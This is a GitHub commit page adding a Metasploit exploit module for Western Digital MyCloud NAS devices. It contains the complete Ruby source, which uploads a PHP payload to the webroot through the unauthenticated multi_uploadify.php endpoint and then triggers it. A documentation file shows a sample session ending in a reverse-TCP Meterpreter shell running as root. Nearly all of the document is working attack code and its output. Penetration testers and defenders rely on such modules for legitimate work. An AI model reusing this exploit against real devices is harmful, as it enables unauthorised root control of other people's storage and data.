Skip to content

Commit d174ef3

Browse files
committed
Add wd_mycloud_multiupload_upload exploit
1 parent 65412cd commit d174ef3

File tree

2 files changed

+144
-0
lines changed

2 files changed

+144
-0
lines changed
Lines changed: 40 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,40 @@
1+
## Description
2+
3+
This module exploits a file upload vulnerability found in Western Digital's MyCloud NAS web administration HTTP service. The /web/jquery/uploader/multi_uploadify.php PHP script provides multipart upload functionality that is accessible without authentication and can be used to place a file anywhere on the device's file system. This allows an attacker the ability to upload a PHP shell onto the device and obtain arbitrary code execution as root.
4+
5+
## Vulnerable Application
6+
7+
[Western Digital](https://www.wdc.com/) designs drives and network attached storage (NAS) devices for both consumers and businesses.
8+
9+
This module was tested successfully on a MyCloud PR4100 with firmware version 2.30.172 .
10+
11+
## Verification Steps
12+
13+
1. Do: ```use exploit/linux/http/wd_mycloud_multiupload_upload```
14+
2. Do: ```set RHOST [IP]```
15+
3. Do: ```check```
16+
4. It should be reported as vulnerable
17+
5. Do: ```run```
18+
6. You should get a shell
19+
20+
## Scenarios
21+
22+
```
23+
msf > use exploit/linux/http/wd_mycloud_multiupload_upload
24+
msf exploit(wd_mycloud_multiupload_upload) > set RHOST 192.168.86.104
25+
RHOST => 192.168.86.104
26+
msf exploit(wd_mycloud_multiupload_upload) > check
27+
[+] 192.168.86.104:80 The target is vulnerable.
28+
msf exploit(wd_mycloud_multiupload_upload) > run
29+
30+
[*] Started reverse TCP handler on 192.168.86.215:4444
31+
[*] Uploading PHP payload (1124 bytes) to '/var/www'.
32+
[+] Uploaded PHP payload successfully.
33+
[*] Making request for '/.7bc5NqFMK5.php' to execute payload.
34+
[*] Sending stage (37543 bytes) to 192.168.86.104
35+
[*] Meterpreter session 1 opened (192.168.86.215:4444 -> 192.168.86.104:38086) at 2017-11-28 06:07:14 -0600
36+
[+] Deleted .7bc5NqFMK5.php
37+
38+
meterpreter > getuid
39+
Server username: root (0)
40+
```
Lines changed: 104 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,104 @@
1+
##
2+
# This module requires Metasploit: https://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
class MetasploitModule < Msf::Exploit::Remote
7+
Rank = ExcellentRanking
8+
HttpFingerprint = { :method => 'HEAD', :uri => '/web/', :pattern => [/Apache/] }
9+
10+
include Msf::Exploit::Remote::HttpClient
11+
include Msf::Exploit::FileDropper
12+
13+
def initialize(info={})
14+
super(update_info(info,
15+
'Name' => 'Western Digital MyCloud multi_uploadify File Upload Vulnerability',
16+
'Description' => %q{
17+
This module exploits a file upload vulnerability found in Western Digital's MyCloud
18+
NAS web administration HTTP service. The /web/jquery/uploader/multi_uploadify.php
19+
PHP script provides multipart upload functionality that is accessible without authentication
20+
and can be used to place a file anywhere on the device's file system. This allows an
21+
attacker the ability to upload a PHP shell onto the device and obtain arbitrary code
22+
execution as root.
23+
},
24+
'License' => MSF_LICENSE,
25+
'Author' =>
26+
[
27+
'Zenofex <zenofex[at]exploitee.rs>' # Initial vulnerability discovery, PoC, and Metasploit module
28+
],
29+
'References' =>
30+
[
31+
['URL', 'https://www.exploitee.rs/index.php/Western_Digital_MyCloud'],
32+
],
33+
'Platform' => 'php',
34+
'Arch' => ARCH_PHP,
35+
'Targets' =>
36+
[
37+
['Automatic Targeting', { 'auto' => true }]
38+
],
39+
'Privileged' => true,
40+
'DisclosureDate' => 'Jul 29 2017',
41+
'DefaultTarget' => 0))
42+
end
43+
44+
def check
45+
res = send_request_cgi('uri' => '/web/jquery/uploader/multi_uploadify.php')
46+
47+
if res.nil?
48+
vprint_error('Connection failed')
49+
return CheckCode::Unknown
50+
end
51+
52+
if res.code == 302 && res.headers['Location'] =~ /\?status=1/
53+
return CheckCode::Vulnerable
54+
end
55+
56+
CheckCode::Safe
57+
end
58+
59+
def upload(web_folder, fname, file)
60+
# construct post data
61+
data = Rex::MIME::Message.new
62+
data.add_part(file, 'application/x-php', nil, "form-data; name=\"Filedata[]\"; filename=\"#{fname}\"")
63+
64+
# upload
65+
res = send_request_cgi({
66+
'method' => 'POST',
67+
'uri' => '/web/jquery/uploader/multi_uploadify.php',
68+
'ctype' => "multipart/form-data; boundary=#{data.bound}",
69+
'data' => data.to_s,
70+
'vars_get' => {
71+
'folder' => web_folder
72+
}
73+
})
74+
end
75+
76+
def exploit
77+
if check != CheckCode::Vulnerable
78+
fail_with(Failure::NotVulnerable, 'Target does not appear to be a vulnerable Western Digital MyCloud device')
79+
end
80+
81+
# upload PHP payload to '/var/www' (webroot).
82+
web_folder = '/var/www'
83+
php = "<?php #{payload.encoded} ?>"
84+
print_status("Uploading PHP payload (#{php.length} bytes) to '#{web_folder}'.")
85+
fname = ".#{rand_text_alphanumeric(rand(10) + 6)}.php"
86+
87+
res = upload(web_folder, fname, php)
88+
89+
# check upload response
90+
fail_with(Failure::Unreachable, 'No response received from the target.') unless res
91+
if res.code != 302 || res.headers['Location'] =~ /\?status=0/
92+
fail_with(Failure::UnexpectedReply, "Unexpected reply (#{res.body.length} bytes)")
93+
end
94+
print_good('Uploaded PHP payload successfully.')
95+
96+
# register uploaded php payload file for cleanup
97+
register_files_for_cleanup(fname)
98+
99+
# retrieve and execute PHP payload
100+
print_status("Making request for '/#{fname}' to execute payload.")
101+
res = send_request_cgi({'uri' => normalize_uri(fname)}, 15)
102+
end
103+
104+
end

0 commit comments

Comments
 (0)